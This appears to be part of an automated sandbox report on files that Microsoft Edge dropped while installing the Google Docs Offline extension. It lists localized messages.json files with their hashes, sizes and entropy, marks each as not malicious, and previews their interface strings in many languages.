SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
